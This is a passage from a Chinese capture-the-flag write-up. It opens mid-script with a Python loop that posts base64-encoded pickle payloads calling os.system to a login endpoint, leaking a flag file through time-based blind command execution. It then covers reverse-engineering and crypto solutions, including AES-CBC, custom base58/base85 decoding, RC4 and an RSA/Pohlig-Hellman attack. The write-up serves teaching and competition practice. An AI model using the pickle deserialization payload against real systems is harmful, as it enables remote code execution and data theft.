for i in range(1,100):
for char in chars:
payload = f"if [ `cut -c {i} /flag` = \'{char}\' ];then sleep 1;fi"
payload_b64 = base64.b64encode(f'''(cos\nsystem\nS'{payload}'\no.'''.encode())
data = {
'username':'x',
'password':'y',
'statement':payload_b64
}
try:
req = s.post(f'{url}/login',data=data,timeout=1)
except:
result += char
print(result)
break
if (char == '~'):
break

Reverse

ez_re

牢弟很喜欢把秘密藏在乱糟糟的地方不让大家看,你能帮我找找他的秘密吗?

main() 函数除花,去掉 db 0E8h,分析逻辑为 AES-CBC加密。

去反调试 IsDebuggerPresent(),动调得key和iv和密文:

1
2
3
key = addddb082dd94dcabad5d75639eac9da
iv = 633bbdfb3a2cc6ff5c0862a2cda2eab4
c = dde04c75973314b817b61911618a60234616e21a65c35b2668f5ad30b1ee4bc6abb59ebb73954ac278efcba9be71e1a0

AES-CBC解密得到flag:SYC{W0w_Y0U_fOUNdDD_TLS_AND_AeS}

贝斯!贝斯!

华强摸了摸你的ida并问到:“你这base保熟吗。”

动调看逻辑:

第一步变表base58,表:Zix7BucHvEV2UAf5e8hKsNDkQ1pq9gjC6RbFwMyLToSnJYWXdaG3r4Pztm

第二步,先结合 sub_4018FF()+sub_4019EE(),RC4,key:happy_happy

第三步变表base85,根据RC4打乱码表,表:eM+wr=x8aYZ/[zU$yRB&kbO;%p0P5f*7d(n]1Eug4ojc62AC,v39!h-^qQ.G?s)i:DFlS<>#@HINJTmtKLVWX

已知密文:RjB6Myu#,>Bgoq&u.H(nBgdIaOKJbgEYj1GR4S.w:

第一步,base85还原得到:6pmB34FC9sbYxcKP9rjGGiyRsx1s6c72

第二步,由于时间戳问题,进入 sub_401550(),提取当前日期的年份、月份和日期,并使用它们来创建随机数生成器的种子。

生成不同的码表来爆破,写入 table.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdlib.h>

int main()
{
char Str[68];
strcpy(Str, "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz");
int str_len = strlen(Str);
//2024-11-10 00:00:00 = 1731168000
for(int k=1735660800;k>=1704038400;k-=86400) {
int tmp[60] = {0};
char table[68] = {0};
int j;
srand(k);
for (int i = 0; i <= 57; ++i ) {
do
j = rand() % str_len;
while ( tmp[j] );
table[i] = Str[j];
tmp[j] = 1;
}
table[58] = 0;
printf("%d %s\n",k,table);
}
return(0);
}

再解码:

1
2
3
4
5
6
7
8
9
10
11
12
import base58

f = open('table.txt').readlines()
for line in f:
now = line.strip().split(' ')
time = int(now[0])
table = now[1]
m = base58.b58decode(b'6pmB34FC9sbYxcKP9rjGGiyRsx1s6c72', alphabet=table.encode())
if b'SYC{' in m or b'flag{' in m:
print(time,table,m)

# 1725811200 n6KPVUdeqBjQvDG51Nof9uJHW7gRAtLrCcTkXhz2ips3Sb8yFmYa4xZMEw b'SYC{th1s_ls_an_ez_base}'

Reverse/Crypto

Math

离散对数DLP,RSA Modular binomial, base64变表(可与队友联合解题,也可学习些二进制基础,对以后有益),提交的flag格式:flag{xx}

已知输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
c_output='d0BURFg2dLNFBLDySWN5RmrUS0k2ejDzdJRLSJkLR0gGBqIVSmR3RLR5RmI1BqRLdqlWemk4Bqr4B0rLdqD0S01HemS0Bqx6d01LS0t2djt5dWO1BLV1Bqr3dL1LSjR6RWk4eq15BFh0R0x6R0OzdWBHSmg3dWg5dmr2RFB6BLDyd0DVRjrHdmg3ejdyeqkHR0gGB0tFRLg4BFBGemNFSJr6BFN3d0IzB0C4B013RjyySJhzRjuydqxFd0D1BjuyemlVS0B6BWk2BLDzejBURml0RLh0RjD0BJR2SWd0BqCLdjN2RFh0RjRHR0uzSj1Ldj1FBWR2R0hySqy0RmS1dg=='
#========================================================================
n1_output='BjI1S0t5djR4dj14dWBURFS0ejCFSWIWdJg4BWrLeqDzejgHemSVeq14ejk6RFSzRLtGBjdyS0xGBqB5R0R5RjhyBFr4SjO0dqSzRjxUSmR2d0OyBFrGdFhVS0u1dmhVBJr4Rjr4R0d1BjB4BFIWRLCFSmgGRWBUS0CGSjC5Sj1HeqdzBqS0SjrGRLNUBJSVdjk4eqg2RFRUBqNHS0k4d0g6Sjg5ejD0RFN5BFd1S0DzR0C2ejdVdqBGRLk2Smk5dLR2BLN4BWd0BmNLdjt2BjN4eq13dFlzdWB5eqgLB01UR0g2eqDVdWgLBWrLBjI1SjSWSqSWdJNUSqVVeJSyRx=='

#========================================================================
c1_output='dmrGd0yVeJkLSjhVSWk3BmR3d0S1dLu1SqVyBjB5BWR3BL1HRWBUSjIWRjhVeqNHRWkFRjdzdWIyd0r4emhVBqO0dJlVRLk6dJk6BFOWBqxLdWNGR0N3S0kLdJr2B01GdqhVejx4RWh0BFI0SqtGRjx5BLd0djgLSmr5RFR2S0gFd0lWRWg2dWO0B0I1BLyVSJgFBJrFeqt4BquVBqtUejx4RFI0ejuVBjCUejR5BJIVRFlVSjdzSWR5BLgHBLBUdWr2RFSzBqR5SJRGSqlzRFkURLuWRWrFRmk5dJSzSmI1dmR3dWIyej14S0NLSmkURFOVeJrHSWB4d0S1dmSy'

#========================================================================
hint1_output='RLdWSqx2RWlVR0NLd0d1dqr2eqgHSWhydjxUeq1Gd0R6dmO0RWNUd0BGejx6S0xLeqkLRjS0ejSVd0h0eJl0ejgFdqk2BqVzdLCLdWkLR0rHdFl0S01LBJk6ejhWRLg2eJB2RmBFRWSyej12djCGeqB4BJN5d0rURWBUeJg5BLNGdjtGBJR3d0NHdLh0dFS1BLxURWrUSmR2SjC3BqrUd0BLdjRFSjR3RWrUdmk3RjB4SjNURjg3R0tUdLt2RLSyRml1eqVyRjgLBjC3djCHSjxFeq12BmBHBjxFBjr6BJR3BJSVBjx6SjBLR0x4dLC5SjrGBjg6BqkGdjVWBLx4'

#========================================================================
n2_output='BFd0BqCFSjD1Smr4dFRHBLg2Bjx5BqVyRLy0Bmr2dqt6djy0dFhyBqr6B0B5BquWSqN3djB4BLR5BFdVemSWRLdWRmrGdqx6BFr6eJlyBmk6BjIyBLh0BLgUS0N4R0gURWN4Bqg2dLtGdFk2SquWdjrLejN5emkFBWSzej1LdjR6S0uVdLC3SjCUBjV0RFO0dqr2ejkFSjyydWd0BFk4Bjx5BWdydWlzBjC3djx4d0DWSjDWdFB4dWhyd0dVdmgFBjRUSmr3dL14SjxFS0dVBWkHBqh1BL1USqr2B013B0V1BLCLBjtLeJR5BLhVd0rURjD1Smd0Sjr6RWhVdJd1'

#========================================================================
c2_output='BWhVdmg3Bj15RWR6dLVzRjdVRjBLeJO1dqBUBJr5eJg4B0BLSJrUSjC3BJNLRmr6d0g2Rj12B0uVSWRGequzdJgGdJIyBFBGSJBLdqyWB0r2B0gGej1GRmkLBWSzeqR2B0xUBLlVd0r6BLhWemlWd0dVemN3d0O0dqDzdWN4dFBUBjBLRFI1dqRGBWBURmrGS0k5dmgLS0u1BqRGR0R5equ1BLDVdqB2dWB2RmSVRFlySjCLBmBLBjrFRFdWejuyRFI1SJN6RmR2BWg2djV0d0I0SjD1S0uzdjS0SjIVBJOyBjl0S0NHRml1djg5djR5dmIyejBUeJSzdq12Sjlz'

#========================================================================
hint2_output='BWh1BLDzBqxFS0I0eJSydLxFBJl1dmd1SjIVBqOyBqR6SjxGB0OySj1HB0B3dLVWdLR2Sql1RjxFSmB6djDzBWhWSmkFejB2dqRLRjCFR0rLBFgGejI0BFdWRWk3S0xHRjgLRWSySjuWB0l0SWNLSmSzd0I0BjDyRjt5BJIydLSVB0N6ejN2Bj1HdWSzBjSWBmIVBLhyeqRGRFNGRWrFdqI1djRLdFNGBJrUB0C6dLgGemkURLrHSqrLdLN4djVydJk4dJrGB01HRLlzB0tUSWrFSqx2RmO0BmN2d0SzB0VzRWrHRjIyBWlyemkHRmg3d0y0BjhyS0rGRLhWdjDV'

#========================================================================
hint3_output='BLkGdjr2BqO1Sjd0R0DWd0gHBjg3BmrGR0BFd0lzBFh1Sqr3RLVWBJI1BqtLejy0dJlVBLl0BqIWS016dWh1B0k2dmh0dqI1dj15SWdydjyzdqx3Sjd0Sqr5dJgGRLDyd0t5ejSWejlWRFlzRL1LejIWBjD0eqV1Smg6R0IVS0dVdjC5dJIzeJSVdmlyBLdVBWIWR0I0SqVyS0u1eqhWRFr5dFk3dWkGdjVzBjBFdjtHRLNUS0RGemrFdJR4SjN4d0C2ejOVSmk6d0yyS0NLBqhWdFBFeqVVRFkFBJrUdqIzRjx5BqD1SqD1BWIWBmr2djgUemIWSqr4RFRUSmIy'

#========================================================================
a_output='RLC6eJIWBLOVdj14ejyWBjx6BqkUSjCUSqg2d0d0BLhydLIzdmhzejy1BJg3BLxLBqk5BqO0SjRHRFhydLOWd0xUdLR4dWS1eJgUBLdzdjrFBLdVd0d0d0dzSjkURFBLdqk2Sjy1Bqh1B0xGSmhyBLkLdmR6BmrHRL12ejSWemk3R0R6Smh0eqIVR01GBmg3dmNUSmd0B0DzdJgFd0t5dLCUSjtLRmR5BjD1BmOVS012BjdVejtHd0CLBWg6d0yWSqu1B0gLSqC5RFdzSJOVR0CGdjuVdmr3RmSWRWBUdLSVeqdWeqlzSJkFeqkFBjy1dj16SWk6BFgGdjgUBjVyBx=='

#========================================================================

分析程序,base64变表为 CDEqrIJKNOPABdefghijklmQRSTstuvwxyz01VWXYZabcnop456L23FGHUM789+/

分别解码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
c_output='639cd472630afb1aa9f5490b4f3de3b4701eef5c61aad06345f9e001021340cf989fc082693f745716bd39d015793e62be08913dcb82b2b6c8ed56d15a4cc230a60ea185d593a858b47276c403c79b6da23b561b200295a8addba7a48660d17a9eef322e430b939aecc4ca0c0f4fcc003524cdca68b7be935962f4b4ad8cafd5'
#========================================================================
n1_output='11df715605906c9cfc906faf4d02a380b9489fe890952cfbc7713af87031b61a4a3a0e2c46ba89ef462a3a77def7d5de0a0a10b3d1303afc06ed7bc9f07e01e9883b06ce17c290fe550844cf9028f50642e4190ccb13cdf0bb0493e437c54ee17643202cc1b35741208957eb6c1843299b4480e6d32a311de6fd6f4b9d9e8fab'

#========================================================================
c1_output='5a768e8e3e4efe51f566d77dd9a1312f5398bc9e1fa4e828be6a3b6aa6109de02c4eec524e23bf0836b7b25f534a429744e980bdc3acd77a8133c543ea1cf4f4665fbd46bc21d38edd60a687007e079980cac97e1099610aeceee3bff13483396a4cfb061df7d5bce9c7fba6ae14fbead5f56aa990f23ee9cbe8a8fc066d5fa'

#========================================================================
hint1_output='c3fd84beeb2363d414848fda5898976625bcbb9637982f83853a6c96e64c8ec94645409b7036e3b187ecf930e294fc448c4ac6bfa9945078300b1619bc98d13275770f562874c7fd389ba9ef4e05019633566e65ba95e5a30e29a45b79774c6aaed89aa43105508e868941c81861120f50fe182e33b80701e1714205759f380'

#========================================================================
n2_output='3cc006e0dea07f834418109ac8c1a447258c7da01223107fd255303613ce9ffc3faa74823a28ea1e211a34c349f20b49bb00447777e4d7f5139219e62fb993562f7e705e0919ccbc414956e8a6cc3e01812ca6eb10558060fe0f7c06da63e5d6169ea5790e86f3e2e804d399d1429529d3031738f134e619a0decce12bde4cd'

#========================================================================
c2_output='2de5d5191bf279ba3ea338bd4390a18d0233da9e050b3aa2644a9427eff787b4d74aa3c7dc348f214247997ae32fb86428935e61234f9ef63e9b562c40b6b07c9133cad4672c9aa7f515d3f7d067b6187d30e4346c4afeceae031c3116ccf97acaddb2af42d459c61ce0df7b56ce1e0ba15cf28aed5415615aa9398fb494e5b'

#========================================================================
hint2_output='2dd30b086f1c8fa7860ed5cde1e02a062e8722ae9823579f764d5da86ec250b2dfee6934463a06b133d791c3cfbe5f88a43bfae7f25cfb3efb61c10aa710aa76e2229241986fb16f1ae34a867cb7ba641d5637b70a92027479e9c18d1372059a4e04a7298c5b279fa6d84abc1b466b29bba8a1a2ea9e8ad568c14af17c4f50e'

#========================================================================
hint3_output='35751402de3cb0f6481451a7b3665b3ddd15c9f0ad07398c4ee35c01ff926dd2545dc41d591fca58b485e3cd114d7c0a67196f95fcebc9391f10c89ded2b1ef3e5014ab8fe5ea33e2afb1cd9af7d84fca17e56e759b136578c29f679a64f0e2060492eee268af2304f7c689ece60a941ba8100dd0d2af1a45499afd10cf9eaa'

#========================================================================
a_output='c028af32e59098f182059e09d4463c34a71b5db98d0d538305102ce68cda72f6897606fd8d933b51633e63c63be59cc3454e8d04d287eda3535f21a8c9496f9e5b62edc81eb971d55b9ecc20b4d6671709e73af110d1bef9413e9786032d268fd7d243d01ccbdbeb0757e5a5affbc976e83f85bde685618d592fe23d754919a2'

#========================================================================

分析计算部分的逻辑为:

$c_1 = p^{e_1} \pmod {n_1}$

$h_1 = 2023p_1+2024 \pmod {q_1}$

$c_2 = q^{e_2} \pmod {n_2}$

$h_2 = (2023p_2+2024q_2)^{2323} \pmod {n_2}$

$h_3 = (2024p_2+2023q_2)^{2424} \pmod {n_2}$

$a = g^e \pmod n$

同题 Number theory,数论+DLP(Pohlig–Hellman)求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from Crypto.Util.number import *

def babystep_giantstep(g, y, p, q=None):
if q is None:
q = p - 1
m = int(q**0.5 + 0.5)
# Baby step
table = {}
gr = 1 # g^r
for r in range(m):
table[gr] = r
gr = (gr * g) % p
# Giant step
try:
gm = pow(g, -m, p) # gm = g^{-m}
except:
return None
ygqm = y # ygqm = y * g^{-qm}
for q in range(m):
if ygqm in table:
return q * m + table[ygqm]
ygqm = (ygqm * gm) % p
return None

# Pohlig–Hellman法
def pohlig_hellman_DLP(g, y, p):
crt_moduli = []
crt_remain = []
for q, _ in factor(p-1):
if q < 10^7:
x = babystep_giantstep(pow(g,(p-1)//q,p), pow(y,(p-1)//q,p), p, q)
if (x is None) or (x <= 1):
continue
crt_moduli.append(q)
crt_remain.append(x)
x = crt(crt_remain, crt_moduli)
return x

c = 0x639cd472630afb1aa9f5490b4f3de3b4701eef5c61aad06345f9e001021340cf989fc082693f745716bd39d015793e62be08913dcb82b2b6c8ed56d15a4cc230a60ea185d593a858b47276c403c79b6da23b561b200295a8addba7a48660d17a9eef322e430b939aecc4ca0c0f4fcc003524cdca68b7be935962f4b4ad8cafd5
n1 = 0x11df715605906c9cfc906faf4d02a380b9489fe890952cfbc7713af87031b61a4a3a0e2c46ba89ef462a3a77def7d5de0a0a10b3d1303afc06ed7bc9f07e01e9883b06ce17c290fe550844cf9028f50642e4190ccb13cdf0bb0493e437c54ee17643202cc1b35741208957eb6c1843299b4480e6d32a311de6fd6f4b9d9e8fab
c1 = 0x5a768e8e3e4efe51f566d77dd9a1312f5398bc9e1fa4e828be6a3b6aa6109de02c4eec524e23bf0836b7b25f534a429744e980bdc3acd77a8133c543ea1cf4f4665fbd46bc21d38edd60a687007e079980cac97e1099610aeceee3bff13483396a4cfb061df7d5bce9c7fba6ae14fbead5f56aa990f23ee9cbe8a8fc066d5fa
e1 = 39847
h1 = 0xc3fd84beeb2363d414848fda5898976625bcbb9637982f83853a6c96e64c8ec94645409b7036e3b187ecf930e294fc448c4ac6bfa9945078300b1619bc98d13275770f562874c7fd389ba9ef4e05019633566e65ba95e5a30e29a45b79774c6aaed89aa43105508e868941c81861120f50fe182e33b80701e1714205759f380
n2 = 0x3cc006e0dea07f834418109ac8c1a447258c7da01223107fd255303613ce9ffc3faa74823a28ea1e211a34c349f20b49bb00447777e4d7f5139219e62fb993562f7e705e0919ccbc414956e8a6cc3e01812ca6eb10558060fe0f7c06da63e5d6169ea5790e86f3e2e804d399d1429529d3031738f134e619a0decce12bde4cd
c2 = 0x2de5d5191bf279ba3ea338bd4390a18d0233da9e050b3aa2644a9427eff787b4d74aa3c7dc348f214247997ae32fb86428935e61234f9ef63e9b562c40b6b07c9133cad4672c9aa7f515d3f7d067b6187d30e4346c4afeceae031c3116ccf97acaddb2af42d459c61ce0df7b56ce1e0ba15cf28aed5415615aa9398fb494e5b
e2 = 44021
h2 = 0x2dd30b086f1c8fa7860ed5cde1e02a062e8722ae9823579f764d5da86ec250b2dfee6934463a06b133d791c3cfbe5f88a43bfae7f25cfb3efb61c10aa710aa76e2229241986fb16f1ae34a867cb7ba641d5637b70a92027479e9c18d1372059a4e04a7298c5b279fa6d84abc1b466b29bba8a1a2ea9e8ad568c14af17c4f50e
h3 = 0x35751402de3cb0f6481451a7b3665b3ddd15c9f0ad07398c4ee35c01ff926dd2545dc41d591fca58b485e3cd114d7c0a67196f95fcebc9391f10c89ded2b1ef3e5014ab8fe5ea33e2afb1cd9af7d84fca17e56e759b136578c29f679a64f0e2060492eee268af2304f7c689ece60a941ba8100dd0d2af1a45499afd10cf9eaa

p1 = GCD(n1, pow(2024,n1,n1)-h1)
q1 = n1 // p1
f1 = (p1-1)*(q1-1)
d1 = inverse(e1,f1)
p = int(pow(c1,d1,n1))
print(p)

A1 = 2023
B1 = 2024
A2 = 2024
B2 = 2023
ea = 2323
eb = 2424
t1 = pow(A1, ea*eb, n2)
t2 = pow(A2, ea*eb, n2)
temp1 = t2 * pow(h2, eb, n2)
temp2 = t1 * pow(h3, ea, n2)

p2 = GCD(temp1-temp2, n2)
q2 = n2 // p2
f2 = (p2-1)*(q2-1)
d2 = inverse(e2,f2)
q = int(pow(c2,d2,n2))
print(q)

a = 0xc028af32e59098f182059e09d4463c34a71b5db98d0d538305102ce68cda72f6897606fd8d933b51633e63c63be59cc3454e8d04d287eda3535f21a8c9496f9e5b62edc81eb971d55b9ecc20b4d6671709e73af110d1bef9413e9786032d268fd7d243d01ccbdbeb0757e5a5affbc976e83f85bde685618d592fe23d754919a2
g = 0x488d156b0cbef000f1bf6c47006a3595
n = 0x9c5ab7c1cc9a4f60b1d53afafd7016d00e811e5a1c6fb258c75a246a0630a75644100828e21757de1d9a5ff99ebd05257aa9d895c1de40a2eb619fa52f32b38acb52669841d528351df863137b0a14f4aff6506cf0c7cdf1801c2bd3d7fb4e583811f4f771f7e5c0e5f42a85839affed38df8b913fa6a4e782adc028e5e86162f
e = pohlig_hellman_DLP(g, a, n)
print(e)
assert pow(g,e,n) == a

f = (p-1)*(q-1)
d = inverse(e,f)
m = pow(c,d,p*q)
print(long_to_bytes(int(m)))

# b'flag{IKnowYouLikeReverseAndCrypto}'